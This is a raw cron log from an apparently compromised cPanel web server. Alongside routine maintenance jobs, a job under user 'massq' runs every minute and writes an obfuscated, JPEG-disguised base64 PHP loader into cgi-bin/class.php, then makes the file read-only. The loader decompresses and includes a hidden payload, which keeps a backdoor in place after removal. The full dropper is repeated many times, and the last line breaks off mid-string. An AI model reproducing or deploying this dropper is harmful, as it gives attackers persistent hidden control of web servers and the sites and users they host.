Sep  3 03:18:01 server CROND[23704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:19:01 server CROND[24180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:19:01 server CROND[24181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:19:01 server CROND[24182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:20:01 server CROND[24571]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:20:01 server CROND[24572]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:20:01 server CROND[24574]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:20:01 server CROND[24576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:20:01 server CROND[24575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:20:01 server CROND[24577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:20:01 server CROND[24581]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:20:01 server CROND[24583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:20:01 server CROND[24580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:21:01 server CROND[25416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:21:01 server CROND[25418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:21:01 server CROND[25419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:22:01 server CROND[25797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:22:01 server CROND[25796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:22:01 server CROND[25798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:23:01 server CROND[26189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:23:01 server CROND[26190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:23:01 server CROND[26191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:24:01 server CROND[26668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:24:01 server CROND[26670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:24:01 server CROND[26669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:25:01 server CROND[27058]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:25:01 server CROND[27059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:25:01 server CROND[27060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:25:01 server CROND[27061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:25:01 server CROND[27067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:25:01 server CROND[27066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:25:01 server CROND[27065]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:25:15 server run-parts(/etc/cron.daily)[27697]: finished imunify-antivirus.cron
Sep  3 03:25:15 server run-parts(/etc/cron.daily)[17658]: starting logclean
Sep  3 03:25:15 server run-parts(/etc/cron.daily)[27709]: finished logclean
Sep  3 03:25:15 server run-parts(/etc/cron.daily)[17658]: starting logrotate
Sep  3 03:25:15 server run-parts(/etc/cron.daily)[27721]: finished logrotate
Sep  3 03:25:15 server run-parts(/etc/cron.daily)[17658]: starting maldet
Sep  3 03:26:01 server CROND[28459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:26:01 server CROND[28462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:26:01 server CROND[28461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:27:01 server CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:27:01 server CROND[29772]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  3 03:27:01 server CROND[29771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:27:01 server CROND[29773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:27:01 server CROND[29770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:27:02 server run-parts(/etc/cron.daily)[30255]: finished maldet
Sep  3 03:27:02 server run-parts(/etc/cron.daily)[17658]: starting man-db.cron
Sep  3 03:27:04 server run-parts(/etc/cron.daily)[32364]: finished man-db.cron
Sep  3 03:27:04 server anacron[15091]: Job `cron.daily' terminated
Sep  3 03:27:04 server anacron[15091]: Normal exit (1 job run)
Sep  3 03:28:01 server CROND[2092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:28:01 server CROND[2093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:28:01 server CROND[2094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:29:01 server CROND[2486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1